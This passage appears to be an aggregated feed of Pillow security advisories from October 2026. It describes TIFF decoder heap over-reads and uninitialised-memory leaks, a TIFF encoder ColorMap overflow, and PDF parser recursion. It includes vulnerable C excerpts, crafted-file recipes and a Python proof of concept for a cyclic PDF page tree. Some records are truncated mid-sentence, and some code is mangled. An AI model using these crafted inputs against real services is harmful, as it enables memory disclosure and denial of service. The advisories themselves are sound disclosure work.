Location: src/libImaging/TiffDecode.c:554 in _decodeStrip()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.

The bug is in `_decodeStrip()` in `src/libImaging/TiffDecode.c`, and `_decodeTile()` has the same shape. The function `realloc()`s `state->buffer` to `TIFFStripSize()` bytes without initialising it and calls `TIFFReadEncodedStrip()`. Whenever that call does not return -1, it copies all `RowsPerStrip` rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.

The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with `b"LEAK"`. It then finds 15,872 copies of `LEAK` in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's `MALLOC_PERTURB_`, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.

This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × `RowsPerStrip` bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).

## Details

`src/libImaging/TiffDecode.c` decodes compressed TIFFs through libtiff into a strip
(or tile) buffer that it `realloc()`s to `TIFFStripSize()` bytes and never initialises, and
then copies all `RowsPerStrip` rows of that buffer into the image whenever
`TIFFReadEncodedStrip()` does not return -1. libtiff's JPEG codec does not fail when the
JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist
and returns the full strip size. The rows it did not write are whatever the heap held
before, and Pillow returns them as pixels.

A 478-byte file shows it: a classic little-endian TIFF, 256×256, `BitsPerSample=8`,
`Compression=7`, `PhotometricInterpretation=1`, `RowsPerStrip=256`, one strip whose data
is a baseline JPEG of 256×**8** pixels (as written by `Image.new("L",(256,8),200).save(…,"JPEG")`).
`Image.open(BytesIO(data)).load()` succeeds with default settings (compressed TIFFs always
take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the
remaining 63488 bytes of `im.tobytes()` are heap garbage: run under glibc's
`MALLOC_PERTURB_=1` they are all `0xFE`, under `MALLOC_PERTURB_=170` all `0x55` (the
fresh-`malloc` fill byte), and in a process that has just freed buffers containing
`b"LEAK"` they contain 15872 copies of `LEAK`.

Feeding the same file to libtiff 4.5.0 directly confirms the library side:
`TIFFReadEncodedStrip(t, 0, buf, 65536)` prints
`JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.`,
returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs
`TIFFSetWarningHandler(NULL)` (`TiffDecode.c:682`), so the warning is not visible either.

The strip path:

```c
// src/libImaging/TiffDecode.c:552
 /* realloc to fit whole strip */
 /* malloc check above */
 new_data = realloc(state->buffer, state->bytes); // state->bytes = TIFFStripSize()
 …
 state->buffer = new_data;

 for (; state->y ysize; state->y += rows_per_strip) {
 …
 if (TIFFReadEncodedStrip(
 tiff,
 TIFFComputeStrip(tiff, state->y, plane),
 (tdata_t)state->buffer,
 strip_size
 ) == -1) {
 … return -1;
 }
 …
 // iterate over each row in the strip and stuff data into image
 for (strip_row = 0;
 strip_row ysize - state->y);
 strip_row++) {
 …
 shuffler(
 (UINT8 *)im->image[state->y + state->yoff + strip_row] +
 state->xoff * im->pixelsize,
 state->buffer + strip_row * row_byte_size,
 state->xsize
 );
```

`state->buffer` arrives here as the one-row `calloc` made by `decode.c:230`
(`(bits*xsize+7)/8` = 256 bytes for the example). The `realloc` to 65536 bytes hands back
a different, uninitialised chunk; nothing zeroes it. `TIFFReadEncodedStrip()` returns the
nominal strip size on success, not the number of rows produced, and the only check is
`== -1`, so the row loop unconditionally copies 256 rows × 256 bytes into `im->image`
(which itself is zeroed by `core.new`, so the garbage provably comes from `state->buffer`).
`_decodeTile()` has the same shape (`TiffDecode.c:448` `realloc` to `TIFFTileSize()`, then
`tile_length` rows copied after each `TIFFReadTile()` at 460–488).

For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes
and the copy is correct. The malicious file differs only in the SOF height of the embedded
JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the
JPEG height, and reports success.

JPEG is not the only libtiff codec that succeeds on a short strip. `Fax4Decode`
(`Compression=4`) returns success for a T.6 stream that ends early: a 133-byte 512×256
1-bit TIFF whose strip is the Group 4 stream of a 512×16 im

Affected package ranges reported by GitHub:
Pillow: >= 5.3.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read
https://kevwire.com/record/CVE-2026-112896
Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read (Oct 20, 2026).
A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.

Pillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.
CVSS 8.8 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-pchr-8j38-3x4p).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112896&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-pchr-8j38-3x4p: https://github.com/advisories/GHSA-pchr-8j38-3x4p
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112896: https://nvd.nist.gov/vuln/detail/CVE-2026-112896
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112896&date=2026-10-25
## Summary

A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.

Pillow's TIFF encoder allocates **768 × 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`.

The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.

## Impact and prerequisites

An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.

The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.

## Tested environment and limits of the evidence

The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**:

- Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl`
- Wheel size: `4785266` bytes
- Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6`
- Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
- Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1`

Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.

Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed.

Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.

## Observed evidence and controls

The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format="TIFF")`, without replacing the image's metadata. Each case was recorded three times:

| Original fixture | Bytes | Recorded result |
| --- | ---: | --- |
| `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). |
| `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). |
| `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). |

Address-free summary of the recorded native diagnostic:

```text
AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
 -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
 -> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew
```

Input SHA-256 values (also enforced inside the script):

- `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d`
- `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c`
- `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556`

## Root cause and source references

- [Pillow `src/encode.c`, lines 870–899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`.
- [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944–1991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.
- [libtiff `tif_dir.c`, lines 441–448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L td_bitspersample` and copies that many SHORTs from each pointer.

The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.

## Prior art and disclosure scope

[Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persisten

Affected package ranges reported by GitHub:
Pillow: <= 12.3.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)
https://kevwire.com/record/CVE-2026-112895
Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310) (Oct 20, 2026).
- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer` catches only a repeated offset:
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-p4wg-p73j-c528).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112895&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-p4wg-p73j-c528: https://github.com/advisories/GHSA-p4wg-p73j-c528
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112895: https://nvd.nist.gov/vuln/detail/CVE-2026-112895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112895&date=2026-10-25
### Summary
When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:

- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer` catches only a repeated offset:

- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)

### PoC
```python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
 1: b" >",
 2: b" >",
 3: b" >",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
 off[oid] = len(buf)
 buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n >\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b") # append=True parses the existing file the same way
```

Run it:
```
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
```

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.

### Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.

Affected package ranges reported by GitHub:
pillow: >= 5.1.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)
https://kevwire.com/record/CVE-2026-112395
Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290) (Oct 20, 2026).
Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.

Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function:
CVSS 6.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-462x-pgg6-55fp).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112395&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-462x-pgg6-55fp: https://github.com/advisories/GHSA-462x-pgg6-55fp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112395&date=2026-10-25
### Summary

Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.

### Details

Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function:

1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*).
2. Reallocates `state->buffer` to exactly `tile_bytes_size`.
3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes.

The validation done before the loop is:

```c
if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
 state->errcode = IMAGING_CODEC_BROKEN;
 return -1;
}
```

This rejects oversized libtiff tiles, but it does **not** reject *undersized* ones — i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long.

### Vulnerable Code

```c
// src/libImaging/TiffDecode.c:446-490 — _decodeTile
new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size
if (!new_data) { ... }
state->buffer = new_data;

for (y = state->yoff; y ysize; y += tile_length) {
 for (plane = 0; plane xoff; x xsize; x += tile_width) {
 if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... }

 current_tile_width = min((INT32)tile_width, state->xsize - x);
 current_tile_length = min((INT32)tile_length, state->ysize - y);
 for (tile_y = 0; tile_y image[tile_y + y] + x * im->pixelsize,
 state->buffer + tile_y * row_byte_size, // buffer + tile_y * 1024` already lies at or past offset 196608 — the very last row's `memcpy(in=buffer+255·1024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at … 0 bytes after 196608-byte region`).

The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than `row_byte_size × tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size × tile_length`.

## Attribution

This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.

Affected package ranges reported by GitHub:
pillow: >= 8.2.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
https://kevwire.com/record/CVE-2026-112404
Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels (Oct 20, 2026).
```
============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483 in _decodeTile()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.
CVSS 8.8 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-c6hw-5grf-ff96).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112404&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-c6hw-5grf-ff96: https://github.com/advisories/GHSA-c6hw-5grf-ff96
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112404: https://nvd.nist.gov/vuln/detail/CVE-2026-112404
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112404&date=2026-10-25
```
============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483 in _decodeTile()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```

Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.

